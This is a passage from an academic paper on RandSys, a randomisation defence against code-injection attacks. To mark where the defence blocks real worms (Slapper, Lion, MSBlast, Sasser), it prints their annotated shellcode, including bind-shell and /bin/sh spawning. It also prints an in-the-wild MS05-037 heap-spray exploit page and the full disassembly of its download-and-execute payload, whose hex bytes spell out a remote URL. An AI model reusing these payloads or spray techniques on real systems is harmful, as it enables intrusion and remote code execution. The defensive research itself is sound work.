89 f9             /* mov    %edi,%ecx               */
cd 80             /* int    $0x80                   */ ; sys_getpeername()
59                /* pop    %ecx                    */
31 db             /* xor    %ebx,%ebx               */
39 d8             /* cmp    %ebx,%eax               */
75 0a             /* jne    <shellcode+0x36>        */
66 b8 12 34       /* mov    $0x3412,%ax             */
66 39 46 02       /* cmp    %ax,0x2(%esi)           */
74 02             /* je     <shellcode+0x38>        */
e2 e0             /* loop   <shellcode+0x18>        */ ; <shellcode + 0x36>
89 cb             /* mov    %ecx,%ebx               */ ; <shellcode + 0x38>
31 c9             /* xor    %ecx,%ecx               */
b1 03             /* mov    $0x3,%cl                */
31 c0             /* xor    %eax,%eax               */ ; <shellcode + 0x3e>
b0 3f             /* mov    $0x3f,%al               */
49                /* dec    %ecx                    */
cd 80             /* int    $0x80                   */
41                /* inc    %ecx                    */
e2 f6             /* loop   <shellcode+0x3e>        */
31 c9             /* xor    %ecx,%ecx               */
f7 e1             /* mul    %ecx                    */
51                /* push   %ecx                    */
5b                /* pop    %ebx                    */
b0 a4             /* mov    $0xa4,%al               */
cd 80             /* int    $0x80                   */
31 c0             /* xor    %eax,%eax               */
50                /* push   %eax                    */
68 2f 2f 73 68    /* push   $0x68732f2f             */ ; "hs//"
68 2f 62 69 6e    /* push   $0x6e69622f             */ ; "nib/"
89 e3             /* mov    %esp,%ebx               */ ; ebx: "/bin//sh"
50                /* push   %eax                    */
53                /* push   %ebx                    */
89 e1             /* mov    %esp,%ecx               */
99                /* cltd                           */
b0 0b             /* mov    $0xb,%al                */
cd 80"            /* int    $0x80                   */

RandSys blocks the
Slapper worm here

Opcode Bytes Instructions

(b) The Injected Shellcode from Linux Slapper Worms

Figure 2: RandSys Thwarts Code Inject Attacks from Lion Worms and Slapper Worms

83 ec 34       /* sub    $0x34,%esp              */ ; <shellcode + 0x0>
8b f4          /* mov    %esp,%esi               */
e8 47 01 00 00 /* call   shellcode+0x151         */
89 06          /* mov    %eax,(%esi)             */
ff 36          /* pushl  (%esi)                  */
68 8e 4e 0e ec /* push   $0xec0e4e8e             */
e8 61 01 00 00 /* call   shellcode+0x179         */
89 46 08       /* mov    %eax,0x8(%esi)          */
...
53             /* push   %ebx                    */ ; <shellcode + 0x179>
55             /* push   %ebp                    */
56             /* push   %esi                    */
57             /* push   %edi                    */ 
8b 6c 24 18    /* mov    0x18(%esp,1),%ebp       */ ; ebp: kernel32.dll base
8b 45 3c       /* mov    0x3c(%ebp),%eax         */
8b 54 05 78    /* mov    0x78(%ebp,%eax,1),%edx  */
03 d5          /* add    %ebp,%edx               */ ; edx: kernel32 EAT table
8b 4a 18       /* mov    0x18(%edx),%ecx         */ ; ecx: # of func entries
8b 5a 20       /* mov    0x20(%edx),%ebx         */ 
03 dd          /* add    %ebp,%ebx               */ ; ebx: kernel32 name table
e3 32          /* jecxz  <shellcode+0x1c6>       */ ; <shellcode + 0x192>
49             /* dec    %ecx                    */
8b 34 8b       /* mov    (%ebx,%ecx,4),%esi      */ 
03 f5          /* add    %ebp,%esi               */ ; esi: one EAT name entry
33 ff          /* xor    %edi,%edi               */
fc             /* cld                            */
33 c0          /* xor    %eax,%eax               */ ; <shellcode + 0x19d>
ac             /* lods   %ds:(%esi),%al          */ ; eax: func name hash
3a c4          /* cmp    %ah,%al                 */
74 07          /* je     <shellcode+0x1ab>       */
c1 cf 0d       /* ror    $0xd,%edi               */
03 f8          /* add    %eax,%edi               */
eb f2          /* jmp    <shellcode+0x19d>       */
3b 7c 24 14    /* cmp    0x14(%esp,1),%edi       */ ; <shellcode + 0x1ab>
75 e1          /* jne    <shellcode+0x192>       */ ; Func Name Hash Match?
8b 5a 24       /* mov    0x24(%edx),%ebx         */ ; NO  -> Try the next entry
03 dd          /* add    %ebp,%ebx               */ ; YES -> Get the func address
66 8b 0c 4b    /* mov    (%ebx,%ecx,2),%cx       */
8b 5a 1c       /* mov    0x1c(%edx),%ebx         */
03 dd          /* add    %ebp,%ebx               */
8b 04 8b       /* mov    (%ebx,%ecx,4),%eax      */
03 c5          /* add    %ebp,%eax               */
eb 02          /* jmp    <shellcode+0x1c8>       */
33 c0          /* xor    %eax,%eax               */ ; <shellcode + 0x1c6>
8b d5          /* mov    %ebp,%edx               */ ; <shellcode + 0x1c8>
5f             /* pop    %edi                    */
5e             /* pop    %esi                    */
5d             /* pop    %ebp                    */
5b             /* pop    %ebx                    */
c2 04 00       /* ret    $0x4                    */

RandSys blocks the
MSBlast worm here

Opcode Bytes Instructions

(a) The Injected Shellcode from Windows MSBlast Worms

e9 0c 01 00 00    /* jmp  <bindshell+0x111>           */ ; <bindshell + 0x0>
5a                /* pop  %edx                        */ ; <bindshell + 0x5>
64 a1 30 00 00 00 /* mov  %fs:0x30,%eax               */
8b 40 0c          /* mov  0xc(%eax),%eax              */
8b 70 1c          /* mov  0x1c(%eax),%esi             */
ad                /* lods %ds:(%esi),%eax             */
8b 40 08          /* mov  0x8(%eax),%eax              */  
8b d8             /* mov  %eax,%ebx                   */ ; ebx: kernel32.dll base
8b 73 3c          /* mov  0x3c(%ebx),%esi             */
8b 74 1e 78       /* mov  0x78(%esi,%ebx,1),%esi      */
03 f3             /* add  %ebx,%esi                   */ ; esi: kernel32 EAT table
8b 7e 20          /* mov  0x20(%esi),%edi             */
03 fb             /* add  %ebx,%edi                   */ ; edi: kernel32 name table
8b 4e 14          /* mov  0x14(%esi),%ecx             */ ; ecx: kernel32 EAT entries 
33 ed             /* xor  %ebp,%ebp                   */
56                /* push %esi                        */
57                /* push %edi                        */ ; <bindshell + 0x2c>
51                /* push %ecx                        */
8b 3f             /* mov  (%edi),%edi                 */
03 fb             /* add  %ebx,%edi                   */ ; edi: one EAT name entry
8b f2             /* mov  %edx,%esi                   */ ; esi: "GetProcAddress"
6a 0e             /* push $0xe                        */ ; 0x0e = strlen("GetProcAddress")
59                /* pop  %ecx                        */
f3 a6             /* repz cmpsb %es:(%edi),%ds:(%esi) */ ; Function Name Match?
74 08             /* je   <bindshell+0x43>            */ ; YES -> Get the function address
59                /* pop  %ecx                        */ 
5f                /* pop  %edi                        */
83 c7 04          /* add  $0x4,%edi                   */
45                /* inc  %ebp                        */ 
e2 e9             /* loop <bindshell+0x2c>            */ ; No  -> Try the next entry
59                /* pop  %ecx                        */ ; <bindshell + 0x43>
...
...
e8 ef fe ff ff    /* call <bindshell+0x5>             */ ; <bindshell + 0x111>
47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00             ; "GetProcAddress"
43 72 65 61 74 65 50 72 6f 63 65 73 73 41 00             ; "CreateProcessA"
45 78 69 74 54 68 72 65 61 64 00                         ; "ExitThread"
4c 6f 61 64 4c 69 62 72 61 72 79 41 00                   ; "LoadLibraryA"
77 73 32 5f 33 32 00                                     ; "ws2_32"
57 53 41 53 6f 63 6b 65 74 41 00                         ; "WSASocketA"
62 69 6e 64 00                                           ; "bind"
6c 69 73 74 65 6e 00                                     ; "listen"
61 63 63 65 70 74 00                                     ; "accept"
63 6c 6f 73 65 73 6f 63 6b 65 74 00                      ; "closesocket"
...

RandSys blocks the
Sasser worm here

Opcode Bytes Instructions

(b) The Injected Shellcode from Windows Sasser Worms

Figure 3: RandSys Thwarts Code Inject Attacks from MSBlast Worms and Sasser Worms

worm assumes static system call mapping. Instead, they leverage library APIs for their actions. More specifically,

they first leverage the PEB (Appendix A) data structure to locate the kernel32.dll base address and then look up its
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EAT table to find the requested function name. As shown at the bottom of Figure 3(b), the Sasser worm attempts

to dynamically locate the following functions: GetProcAddress, CreateProcessA, ExitThread, and LoadLibraryA,

from the kernel32.dll library. The LoadLibraryA function will be later invoked to load the ws2 32.dll library, which

exports a number of basic networking-related library APIs, such as bind, listen, and accept. Our enhanced ASLR

schemes, particularly library API randomization, randomize the EAT table entries, breaking the dynamic lookup

process in the shellcode and thus successfully corrupting the infection. More specifically, each worm infection is

corrupted when a function name resolution is attempted (highlighted in Figure 3), which occurs at the beginning of

the shellcode execution.

5.3 Thwarting Real-World Zero-Day Exploits That Use Code-Spraying Attacks

We have used RandSys against two zero-day exploits, each of which exploits an unpatched IE web browser

vulnerability. As these two exploits are quite similar in both the nature of the vulnerabilities (JView Profiler

vulnerability/MS05-037 and Microsoft Visual Studio .NET “msdds.dll” vulnerability MS05-052) and the exploita-

tion means (code-spraying attacks), we only detail one exploit in the rest of this section. Figure 4 shows the ma-

licious content of an “in-the-wild” exploiting web page, which takes advantage of the JView Profiler vulnerability

(MS05-037) and utilizes the code-spraying attack as described below:

<html><body>
<SCRIPT language="javascript">

shellcode =unescape("%u4343"+"%u4343");
...
shellcode+=unescape("%ueafa"); shellcode+=unescape("%u90c6");
bigblock = unescape("%u0D0D%u0D0D");

headersize = 20;
slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (i=0;i<750;i++) memory[i] = block + shellcode;

</SCRIPT>
 <object classid="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></object>
xxxx
</body><script>location.reload();</script></html>

3. Triggering the JView Profiler 
   vulnerability (MS05-037)

1: Preparing a basic block
   containing the NOP-sled
   and a shellcode

   
   The size of the basic block
   is at least 0x40000 bytes
   or 256K bytes
 

2: Replicating the basic block
   into 750 other blocks, 
   each of which contains the 
   NOP-sled and a shellcode.

   In total, the shellcode is
   sprayed into 750 * 256K 
   or 187.5M bytes 

Explanation

Figure 4: An “In-the-wild” Malicious Web Page with the Code-Spraying Attack

(1) A javascript-based code snip in the malicious web page first prepares a basic memory block of 256K bytes

containing a large NOP-sled (performing nop operations) and a particular shellcode. This block is then replicated to

750 other memory blocks. As a result, the shellcode (including the NOP-sled) is sprayed all over the allocated heap

space of 187.5M bytes.
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(2) The JView Profiler Vulnerability (MS05-037) is triggered, which results in the execution of the shellcode

located somewhere in the allocated heap space. Note that existing ASLR schemes can make the actual location of

the injected shellcode (contained in the allocated heap space) hard to predict. However, the code-spraying attack is

able to overcome this challenge by populating the shellcode in a large memory space. As long as the overwritten

code pointer (e.g., return address) points to somewhere inside this large memory space, the shellcode will eventually

get executed.

(3) Once the shellcode is executed, it starts to unfold itself by performing an XOR operation. The unfolded

version is disassembled and shown in Figure 7 (Appendix B). It then jumps into the middle of the unfolded shellcode

body by skipping the first 16 bytes, which turns out to be the hash values of four different function names, i.e.,

“LoadLibraryA”, “SetErrorMode”, “ExitProcess”, and “URLDownloadToFileA”. These related functions or their

actual memory addresses need to be resolved before the exploitation can proceed. The first three functions are

exported by the kernel32.dll module while the last one is exported by the urlmon.dll module.

(4) Next, the attack code attempts to locates the kernel32.dll base address by iterating the SEH [11] chain until

the last SEH handler is located. Based on the facts that (i) the last SEH handler resides inside the kernel32.dll module

and (ii) a module is always aligned on 64K-byte boundaries, the code uses the last SEH hander as a starting point

for walking down with an increment of 4K bytes. A check is performed to see if the two characters at that point

are “MZ”, which usually marks the MSDOS header. Once a match is found, it is assumed that the base address of

kernel32.dll has been located.

(5) Finally, this base address is used to parse the PE file format to locate the EAT name table. Each name entry

within the EAT table is checked to locate those intended function APIs, such as “LoadLibraryA”, “SetErrorMode”,

and “ExitProcess”.

Under RandSys, the EAT names have been randomized. As a result, the exploitation is effectively thwarted

at step (5) described above. The exact location in the shellcode where RandSys blocks the attack is highlighted

in Figure 7 (Appendix B). The new “spray-and-hit” strategy of code-spraying attack also demonstrates the unique

advantage of RandSys over the ASLR scheme.

6 Related Work

Building diversity into networked computers for better security was first advocated by Forrest et al [26]. Recent

work has applied the same diversity principle to code-based instruction set randomization (ISR) [28, 38, 14, 15]

and memory-based layout randomization (ASLR) [2, 43, 16, 17]. ISR makes the “working” instruction set hard to

predict, and is able to foil the execution of injected machine instructions. However, it is vulnerable to attacks that
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avoid using injected machine instructions, such as return-into-libc and return-into-dl attacks. ASLR randomizes the

memory layout and is robust against attacks that hijack predetermined specific memory addresses. However, it is

susceptible to code spraying and address spraying attacks which avoid using specific memory locations. Recalling

the code spraying example described in Section 5.3, the attack code prepares a large heap space (750 ∗ 256K bytes)

and then fills it all over with the intended shellcode. After that, the attacker only needs to guess the location of a

shellcode replica with a probability of 750 ∗ 256K/232 = 4.6%, which contains a very low entropy (4 bits if taking

into account that the Windows kernel occupies the upper half memory space). Note that ASLR is fundamentally

susceptible to such spraying attack: not only in current 32-bit architecture, but also in the next-generation 64-bit

architecture. By effectively and practically combining both ISR and ASLR, RandSys is able to defeat these attacks

fundamental to each of ISR and ASLR individually.

Non-Execute (NX) [1, 41, 27] protection support from both hardware vendors (such as Intel and AMD) and op-

erating system providers (e.g., W∧X support in OpenBSD and Data Execution Protection from Microsoft) provides

page-level memory protection (read, write, or execute) and renders the injected machine instructions non-executable.

Similar to ISR, NX fails to cope with attacks which avoid using injected machine instructions, including return-into-

libc and return-into-dl attacks.

Table 4 summarizes the unique position of RandSys in relation to ISR, ASLR (with PaX [2] as an representative

ASLR example), and NX.

Example Attack Categories
Regular code injection attacks return-into-libc return-into-dl code-spraying
(e.g., stack-smashing attacks) attacks attacks attacks

ISR
√ × × √

ASLR/PaX
√ √ × ×

Non-eXecute
√ × × √

RandSys
√ √ √ √

Table 4: Comparison of RandSys with Other Protection Approaches

Chew et al [21] described an operating system-based randomization approach, which not only provides basic

memory space layout randomization, but also attempts to system-wide re-number system calls. Note that the notion

of system call re-numbering [21] is close to the system call randomization in RandSys. However, there are a number

of fundamental differences: Their re-numbering is implemented by recompiling the kernel with a different but

another fixed system call mapping. As a result, any re-mapping attempt requires the physical machine rebooting,

and the re-mapping is achieved at the granularity of machines — different processes still have the same system call

mapping. In contrast, RandSys establishes a unique system call mapping for each individual process at its creation

time. In addition to system call number randomization, RandSys also provides an enhanced ASLR protection.
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In addition to the randomization efforts to counter code injection attacks, various other techniques [19, 32,

25, 42, 24, 23, 22, 29, 36, 13] are also proposed to address this attack. Broadly speaking, static analysis techniques

[19, 32, 25, 42] attempt to statically analyze program source code to discover possible vulnerabilities, while dynamic

analysis techniques [24, 23, 22, 29, 36, 13, 31] leverage run-time information to dynamically detect or confine

possible attacks. By comparison, like ISR and ASLR, RandSys introduces diversity into existing computer systems

in the first place, which is attack- or vulnerability-independent.

7 Conclusion

In this paper, we have presented RandSys, a novel system that effectively combines Instruction Set Randomiza-

tion (ISR) and Address Space Layout Randomization (ASLR). This combination allows RandSys to defeat attacks

fundamental to each of ISR and ASLR individually. Another contribution of our work is that we randomize only

system-call instructions rather than the entire instruction set, hence effectively address the performance problem of

ISR. We have also developed new techniques that make control flow hijacking extremely difficult, including decoys,

guard pages, independent randomization for both import and export tables, as well as a defensive execution scheme

that detects shellcode-contained pages. We have implemented and evaluated RandSys for both Linux and Windows.

Our experiments show that RandSys can effectively thwart a wide variety of code injection attacks on the Internet

with a small overhead.
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A Shellcode Background

This section provides background information on the shellcode creation on Linux and Windows platforms. The
differences between the Linux-platform shellcode and the Windows-platform shellcode are highlighted.

A shellcode is an assembly program which traditionally spawns a shell, such as the “/bin/sh” Unix shell, or the
“command.com” shell in Microsoft Windows operating systems. One defining characteristic of shellcode, which
differentiates itself from other assembly programs, is that it is usually injected into another running process space
dynamically. In addition, the process control flow is modified in a way that the shellcode is finally executed (e.g.,
buffer overrun or format string bug). In order to ensure its seamless execution, the shellcode should conform to the
underlying system service interfaces with system calls or library function APIs. For example, a shellcode making a
Linux-based execve system call will not be recognized by Windows-based operating systems.

In the following, we select and review the shellcode creation in both Linux and Windows platforms with a focus
on the Intel IA-32 processor architecture. However, the principles can also be applied to other operating systems
and other processor architectures. We exemplify shellcode creation with two real-world attack codes, which are
used in Linux-based Lion worms [4] and Windows-based MSBlast worms [7] for their propagation, respectively.
Understanding these code-injection attacks is not only helpful to discern the difference in creating shellcodes in
different platforms, but also necessary to understand the motivation and rationales behind our proposed thwarting
technique – RandSys.

    ...

    eb  14             /* jmp     <shellcode+22>         */

    31  c0             /* xorl    %eax,%eax              */

    5b                 /* popl    %ebx                   */

    8d  4b 14          /* leal    0x14(%ebx),%ecx        */

    89  19             /* movl    %ebx,(%ecx)            */

    89  43 18          /* movl    %eax,0x18(%ebx)        */

    88  43 07          /* movb    %al,0x7(%ebx)          */

    31  d2             /* xorl    %edx,%edx              */

    b0  0b             /* movb    $0xb,%al               */

    cd  80             /* int     $0x80                  */

    e8  e7 ff ff ff    /* call    <shellcode+2>          */

    "/bin/sh"

    ...

shellcode+0 :

shellcode+2 :

shellcode+4 :

shellcode+5 :

shellcode+8 :

shellcode+10:

shellcode+13:

shellcode+16:

shellcode+18:

shellcode+20:

shellcode+22:

shellcode+27:

 

 

 ecx[0] = "/bin/sh"

 ecx[1] = 0

 ebx = "/bin/sh"

 edx = 0

 eax = 11

 execve(ebx, ecx, edx)

The (partial) shellcode injected by Lion Worms Intended execve system call

Opcode Bytes Instructions

Figure 5: The Shellcode Snip Injected by Linux-based Lion Worm

A.1 Linux-Platform Shellcode

In Linux, the kernel maintains a consistent mapping of system call numbers and their corresponding function-
alities. Though additional functionalities may be added to a later mainstream Linux kernel, existing system call
mapping [5] will not be changed. In addition, though there is a possibility that an old system call becomes obsolete,
the corresponding mapping may not be overridden by another new system call. The static and stable system call
mapping is the key reason why Linux-based shellcode directly makes use of these well-known system call numbers.

As a convention, when a user space application makes a system call, the arguments are usually passed to registers
and the application then executes “int $0x80” instruction. The “int $0x80” instruction causes a software trap from
the user mode to the kernel mode, which causes the processor to jump to the system call dispatcher. Note that
EAX register denotes the specific system call. Other registers have relative meanings according to the value in EAX
register. A detailed explanation for their meanings can be found in [5].

As a concrete example, Figure 5 shows an incomplete code snip within the shellcode, which is injected by the
Lion worm. Note that this part of the code snip essentially prepares EAX, EBX, ECX, and EDX registers for the
execve system call (the EAX value 0x0b denotes the execve system call). As can be observed from Figure 5, the
objective of this shellcode is to create a “/bin/sh” UNIX shell once it is successfully executed.
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    ...

    83 ec 34         /* sub    $0x34,%esp             */

    8b f4            /* mov    %esp,%esi              */

    e8 47 01 00 00   /* call   <shellcode+0x151>      */

    89 06            /* mov    %eax,(%esi)            */

    ff 36            /* pushl  (%esi)                 */

    68 8e 4e 0e ec   /* push   $0xec0e4e8e            */

    e8 61 01 00 00   /* call   <shellcode+0x179>      */

    89 46 08         /* mov    %eax,0x8(%esi)         */

    ...

    ff 36            /* pushl  (%esi)                 */

    68 72 fe b3 16   /* push   $0x16b3fe72            */

    e8 2d 01 00 00   /* call   <shellcode+0x179>      */

    89 46 10         /* mov    %eax,0x10(%esi)        */

    ff 36            /* pushl  (%esi)                 */

    68 7e d8 e2 73   /* push   $0x73e2d87e            */

    e8 1e 01 00 00   /* call   <shellcode+0x179>      */

    89 46 14         /* mov    %eax,0x14(%esi)        */

    ...

shellcode+0 :

shellcode+3 :

shellcode+5 :

shellcode+10:

shellcode+12:

shellcode+14:

shellcode+19:

shellcode+24:

...

shellcode+64:

shellcode+66:

shellcode+71:

shellcode+76:

shellcode+79:

shellcode+81:

shellcode+86:

shellcode+91:

 Derive the kernel32.dll base address

 

 

 0xec0e4e8e = hash("LoadLibraryA");

 Derive the LoadLibrary function pointer

 

 0xce05d9ad = hash(CreateProcessA");

 Derive the CreateProcessA function pointer

 0x73e2d87e = hash(ExitProcess");

 Derive the ExitProcess function pointer

The (partial) shellcode injected by MSBlast Worms
Intended operations

Opcode Bytes Instructions

Figure 6: The Shellcode Snip Injected by Windows-based MSBlast Worm

A.2 Windows-Platform Shellcode

Windows platforms have a number of major differences from Linux platforms in shellcode creation:

• Unlike Linux, NT-based Windows operating systems expose a system call interface through the “int $0x2e” in-
struction. Newer versions of NT, such as Windows XP, take advantage of the optimized “sysenter” instruction.
Both mechanisms accomplish the goal of transitioning from the user mode to the kernel mode.

• Unlike Linux, Windows operating systems do not maintain a consistent mapping between system calls and
their corresponding functionalities. Instead, the exact mapping is undocumented and the system call num-
bers are subject to change across different Windows versions, service patches, and even certain security
patches. Detailed information on the exact system call mapping in various Windows systems (e.g., Windows
NT/2000/XP/2003) can be found in [9].

In order to maintain transparency to applications, Windows systems offer consistent and documented library
function APIs which hide the actual system call mapping discrepancies across various Windows operating systems.
For this reason, it is generally considered “bad practice” to write shellcodes on Windows platforms that use system
calls directly. Instead, most existing Windows-based shellcodes indirectly make use of the system call numbers
by leveraging library APIs provided, such as those APIs supplied by ntdll.dll. Another reason why direct use of
Windows system call numbers should be avoided is that Windows does not export a socket API via the system call
interface [39]. Such a restriction prevents remote exploits (e.g., the connect-back shellcode) from using direct system
calls.

The differences between shellcodes on Windows and Linux platforms can be further exemplified by the injected
code from the MSBlast worm. For clarity, Figure 6 only shows a number of worm-injected machine code instructions
while other sub-routines (e.g., the routines at locations < shellcode + 0x151 > and < shellcode + 0x179 >) are
omitted. Note that the routine at location < shellcode + 0x151 > is used to accurately derive the kernel.dll base
address by leveraging the Process Environment Block (PEB) information [39]. The kernel32.dll library base address
is later used as an input of the routine at < shellcode + 0x179 >, which is essentially a library function name
lookup routine. This name lookup routine is functionally similar to the documented GetProcAddress() function,
which iterates through the Export Address Table (EAT) in the shared DLL library and reliably derives other function
pointers, such as LoadLibraryA(), CreateProcess(), and ExitProcess(). It is interesting to note that in order to further
save space and increase obfuscation in the shellcode generated, this function name lookup routine does not perform a
direct string comparison to derive the required function pointers. Instead, the corresponding hash value of a function
name is used for the name lookup. It turns out that the hash function used in the MSBlast worm is borrowed from
[6].

23



B Disassembling the Injected Code from a Zero-Day Exploit That Uses Code-
Spraying Attacks

26 80 ac c8                                            ; hash("LoadLibraryA")
60 40 54 6c                                            ; hash("SetErrorMode")
19 2b 90 95                                            ; hash("ExitProcess")
99 23 5d d9                                            ; hash("URLDownloadToFileA")

; Derive kernel32.dll base address by parsing the SEH chain
; INPUT : ecx = 0, esi = <shellcode+0x0>
; OUTPUT: ebx = kernel32.dll base address

fc                /* cld                            */ ; <shellcode + 0x0>
64 8b 01          /* mov    %fs:(%ecx),%eax         */ 
40                /* inc    %eax                    */ 
93                /* xchg   %eax,%ebx               */ ; <shellcode + 0x5>
8b 43 ff          /* mov    0xffffffff(%ebx),%eax   */
40                /* inc    %eax                    */
75 f9             /* jne    <shellcode+0x5>         */
8b 5b 03          /* mov    0x3(%ebx),%ebx          */
66 33 db          /* xor    %bx,%bx                 */
66 81 3b 4d 5a    /* cmpw   $0x5a4d,(%ebx)          */ ; <shellcode + 0x12> 
74 08             /* je     <shellcode+0x21>        */ ; 0x5a4d = "MZ", PE file signature
81 eb 00 10 00 00 /* sub    $0x1000,%ebx            */
eb f1             /* jmp    <shellcode+0x12>        */
8b fc             /* mov    %esp,%edi               */ ; <shellcode + 0x21>

; Derive the following function addresses:
;    (1) LoadLibraryA()   saved in 0xfffffffc(%edi)
;    (2) SetErrorMOde()   saved in 0xfffffff8(%edi)
;    (3) ExitProcess()    saved in 0xfffffff4(%edi)

b1 03             /* mov    $0x3,%cl                */
ad                /* lods   %ds:(%esi),%eax         */ ; <shellcode + 0x25> 
e8 4b 00 00 00    /* call   <shellcode+0x76>        */
50                /* push   %eax                    */
e2 f7             /* loop   <shellcode+0x25>        */

; SetErrorMode(0x8007)
68 07 80 00 00    /* push   $0x8007                 */
ff 57 f8          /* call   *0xfffffff8(%edi)       */

; LoadLibraryA("urlmon")
68 6f 6e 00 00    /* push   $0x6e6f                 */
68 75 72 6c 6d    /* push   $0x6d6c7275             */
54                /* push   %esp                    */
ff 57 fc          /* call   *0xfffffffc(%edi)       */
93                /* xchg   %eax,%ebx               */

; Derive the following function address:
;    (4) URLDownloadToFileA()    saved in eax
ad                /* lods   %ds:(%esi),%eax         */
e8 2b 00 00 00    /* call   <shellcode+0x76>        */

; URLDownloadToFileA(0, url, "c:\ms32.tmp", 0, 0)
8d 8e bb 00 00 00 /* lea    0xbb(%esi),%ecx         */
33 f6             /* xor    %esi,%esi               */
68 74 6d 70 00    /* push   $0x706d74               */
68 73 33 32 2e    /* push   $0x2e323373             */
68 63 3a 5c 6d    /* push   $0x6d5c3a63             */
8b ec             /* mov    %esp,%ebp               */
56                /* push   %esi                    */
56                /* push   %esi                    */
55                /* push   %ebp                    */ ; c:\ms32.tmp
51                /* push   %ecx                    */ ; URL
56                /* push   %esi                    */
ff d0             /* call   *%eax                   */ ; URLDownloadToFileA
0b c0             /* or     %eax,%eax               */ 
75 04             /* jne    <shellcode+0x73>        */ ; Call Succes?
55                /* push   %ebp                    */ ; YES ==> LoadLibraryA("c:\ms32.tmp")
ff 57 fc          /* call   *0xfffffffc(%edi)       */  
                                                       ; NO  ==> ExitProcess()
ff 57 f4          /* call   *0xfffffff4(%edi)       */ ; <shellcode + 0x73> 

; Function Name Resolution Routine
51                /* push   %ecx                    */ ; <shellcode + 0x76>
56                /* push   %esi                    */
95                /* xchg   %eax,%ebp               */
8b 4b 3c          /* mov    0x3c(%ebx),%ecx         */ ; ebx: kernel32 base address
8b 4c 0b 78       /* mov    0x78(%ebx,%ecx,1),%ecx  */ 
03 cb             /* add    %ebx,%ecx               */ ; ecx: kernel32 EAT table
33 f6             /* xor    %esi,%esi               */
8d 14 b3          /* lea    (%ebx,%esi,4),%edx      */
03 51 20          /* add    0x20(%ecx),%edx         */ 
8b 12             /* mov    (%edx),%edx             */ ; edx: EAT name table
03 d3             /* add    %ebx,%edx               */
33 c0             /* xor    %eax,%eax               */
c1 c0 07          /* rol    $0x7,%eax               */ ; <shellcode + 0x90>
32 02             /* xor    (%edx),%al              */
42                /* inc    %edx                    */
80 3a 00          /* cmpb   $0x0,(%edx)             */
75 f5             /* jne    <shellcode+0x90>        */
3b c5             /* cmp    %ebp,%eax               */
74 06             /* je     <shellcode+0xa5>        */
46                /* inc    %esi                    */
3b 71 18          /* cmp    0x18(%ecx),%esi         */
72 df             /* jb     <shellcode+0x84>        */
8b 51 24          /* mov    0x24(%ecx),%edx         */ ; <shellcode + 0xa5>
03 d3             /* add    %ebx,%edx               */
0f b7 14 72       /* movzwl (%edx,%esi,2),%edx      */
8b 41 1c          /* mov    0x1c(%ecx),%eax         */
03 c3             /* add    %ebx,%eax               */
8b 04 90          /* mov    (%eax,%edx,4),%eax      */
03 c3             /* add    %ebx,%eax               */
5e                /* pop    %esi                    */
59                /* pop    %ecx                    */ 
c3                /* ret                            */     
68 74 74 70 3a 5c 5c 38 32 2e 31 37 39 2e 31 36 36  ; "http:\\xx.xxx.xxx" 
2e 32 5c 73 74 61 74 70 61 74 68 5c 66 67 78 78 78  ; ".2\statpath\fgxxx"
2e 6a 70 00                                         ; ".jp

  RandSys blocks the 
zero-day exploit here

Opcode Bytes Instructions

Figure 7: RandSys Thwarts the Code Inject Attack from a Zero-Day Exploit with the JView Profiler Vulnerability
(MS05-037)
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